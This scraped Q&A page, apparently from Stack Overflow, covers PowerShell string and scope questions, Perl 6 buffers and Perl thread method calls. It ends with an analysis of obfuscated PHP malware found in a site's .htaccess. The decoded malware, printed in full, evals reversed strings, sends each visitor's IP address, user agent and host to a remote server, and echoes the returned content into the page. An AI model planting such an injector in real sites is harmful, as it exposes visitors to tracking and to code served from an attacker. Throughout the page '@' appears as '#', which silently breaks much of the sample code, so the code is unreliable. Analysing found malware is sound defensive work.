How do I convert function input parameters to the right type?
I want to return a string that has part of the URL passed into it removed.
This works, but it uses a hard-coded string:
function CleanUrl($input)
{
$x = "http://google.com".Replace("http://", "")
return $x
}
$SiteName = CleanUrl($HostHeader)
echo $SiteName
This fails:
function CleanUrl($input)
{
$x = $input.Replace("http://", "")
return $x
}
Method invocation failed because [System.Array+SZArrayEnumerator] doesn't contain a method named 'Replace'.
At M:\PowerShell\test.ps1:13 char:21
+ $x = $input.Replace( <<<< "http://", "")
Steve's answer works. The problem with your attempt to reproduce ESV's script is that you're using $input, which is a reserved variable (it automatically collects multiple piped input into a single variable).
You should, however, use .Replace() unless you need the extra feature(s) of -replace (it handles regular expressions, etc).
function CleanUrl([string]$url)
{
$url.Replace("http://","")
}
That will work, but so would:
function CleanUrl([string]$url)
{
$url -replace "http://",""
}
Also, when you invoke a PowerShell function, don't use parenthesis:
$HostHeader = "http://google.com"
$SiteName = CleanUrl $HostHeader
Write-Host $SiteName
Hope that helps. By the way, to demonstrate $input:
function CleanUrls
{
$input -replace "http://",""
}
# Notice these are arrays ...
$HostHeaders = #("http://google.com","http://stackoverflow.com")
$SiteNames = $HostHeader | CleanUrls
Write-Output $SiteNames
The concept here is correct.
The problem is with the variable name you have chosen. $input is a reserved variable used by PowerShell to represent an array of pipeline input. If you change your variable name, you should not have any problem.
PowerShell does have a replace operator, so you could make your function into
function CleanUrl($url)
{
return $url -replace 'http://'
}
function CleanUrl([string] $url)
{
return $url.Replace("http://", "")
}
This worked for me:
function CleanUrl($input)
{
return $input.Replace("http://", "")
}
Related
I am using the += operator to add to an initial string in a PowerShell function. This is resulting in the initial string being removed. If I write out the operation without using the += operator, I get the expected result.
$intro1 = "This intro piece gets deleted:"
$intro2 = "This intro piece does not get deleted:"
Function Test-String{
$names = #("name1","name2")
If( $names ) {
ForEach($name in $names) { $intro1 += $name }
ForEach($name in $names) { $intro2 = $intro2 + $name }
Write-Host "intro1: $intro1"
Write-Host "intro2: $intro2"
}
}
Test-String
Result:
intro1: name1name2
intro2: This intro piece does not get deleted:name1name2
What is the cause of this behavior?
Since it is a scope issue you can fix it this way:
$intro1 = #("This intro piece gets deleted:")
$intro2 = #("This intro piece does not get deleted:")
Function Test-String{
$names = #("name1","name2")
If( $names ) {
ForEach($name in $names) { $Script:intro1 += $name }
ForEach($name in $names) { $Script:intro2 = $Script:intro2 + $name }
Write-Host "intro1: $Script:intro1"
Write-Host "intro2: $Script:intro2"
}
}
Test-String
Note: forcing the initial values to an array gets you the output like this:
intro1: This intro piece gets deleted: name1 name2
intro2: This intro piece does not get deleted: name1 name2
-- VS --
intro1: This intro piece gets deleted:name1name2
intro2: This intro piece does not get deleted:name1name2
I have a variable in my script for my path:
$path = "C:\project\"
Then in a function I have:
function DoWork {
try
{
C:\project\myapp.exe /silent
}
catch
{
}
}
I want to replace the string literal in the try block with the variable. I have tried putting ${path} there, and ($path + "myapp.exe /silent") along with other combinations but I seem to get errors still.
What is the correct way to replace the literal path with the path variable?
Construct your path as a string, then supply the string as an argument to the call operator (&):
try
{
$appPath = Join-Path $path myapp.exe
& $appPath
}
catch
{
}
Subsequent string arguments to & will be treated as arguments to the command represented by the first argument:
& $appPath '/silent'
To pass a dynamic list of arguments to an external function call (based on your comments), use splatting:
$Params = #('/silent','/quiet')
$exe = "$Path\myapp.exe"
& $exe #Params
You can also try this:
function DoWork {
$path = "C:\project\"
try
{
"$path\myapp.exe"
}
catch
{
}
}
In Perl 6 the Str type is immutable, so it seems reasonable to use a mutable buffer instead of concatenating a lot of strings. Next, I like being able to use the same API regardless if my function is writing to stdout, file or to an in-memory buffer.
In Perl, I can create an in-memory file like so
my $var = "";
open my $fh, '>', \$var;
print $fh "asdf";
close $fh;
print $var; # asdf
How do I achieve the same thing in Perl 6?
There's a minimal IO::String in the ecosystem backed by an array.
For a one-off solution, you could also do someting like
my $string;
my $handle = IO::Handle.new but role {
method print(*#stuff) { $string ~= #stuff.join };
method print-nl { $string ~= "\n" }
};
$handle.say("The answer you're looking for is 42.");
dd $string;
What I currently do is that I wrapped string concatenation in a class as a temporary solution.
class Buffer {
has $!buf = "";
multi method print($string) {
$!buf ~= $string;
}
multi method say($string) {
$!buf ~= $string ~ "\n";
}
multi method Str() {
return $!buf;
}
}
With that, I can do
my $buf = Buffer.new();
say $buf: "asdf";
print $buf.Str;
Having problems with threads. Keep getting error when creating a thread using a class instance method as the subroutine. The method and params variables are set based on other stuff, so I have to call the class instance method this way. Without the threads, it works just fine. Can't figure out the correct way to specify it for threads create:
my $instance = someclass->new();
my $method = 'get';
my $params = { 'abc' => 123 };
my $thread = threads->create($instance->$method,$params);
This gives me the error "Not a CODE reference". I think this may be actually calling the method, and using the return as the argument. Okay, tried this:
my $thread = threads->create(\&{$instance->$method},$params);
This gives me the error "Not a subroutine reference". I would appreciate any help on this.
my $thread = threads->create(sub { $instance->$method(#_) }, $params);
Or, you could just pass the instance and the method to the first argument as well:
package SomeClass;
sub new {
my $class = shift;
bless { args => [ #_ ] };
}
sub get {
my $self = shift;
my $args = shift;
return join(" ", #{ $self->{args} }, $args->{abc});
}
package main;
use 5.012;
use threads;
my $x = SomeClass->new("An instance");
threads->create(sub { say $x->get(#_) }, {'abc' => 123 })->join;
threads->create(
sub {
my $instance = shift;
my $method = shift;
say $instance->$method(#_);
}, $x, 'get', { 'abc' => 123 }
)->join;
In fact, I would prefer the latter, to avoid closing on $instance.
Calling a method without parens is the same thing as calling the method without arguments:
$foo->bar eq $foo->bar()
To create a coderef, you can either specify a lambda that wraps the method call, e.g.
threads->create(sub{ $instance->get($params) })
(see Sinan Ünürs answer), or you can use the universal can function.
The can method resolves a method in the same way a method would be resolved if it were called, and returns the coderef for that method if it was found, or returns undef. This makes it usable as a boolean test.
Do note that methods are just subroutines with the first argument being the invocant (the object):
my $code = $instance->can($method) or die "Can't resolve $method";
threads->create($code, $instance, $params);
However, can may fail for poorly written classes that make use of AUTOLOAD.
Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif# = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes# { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
This, in turn, generates the following code:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
#setcookie($z37,md5("stats"),time()+10800);
$url = #file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.
function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...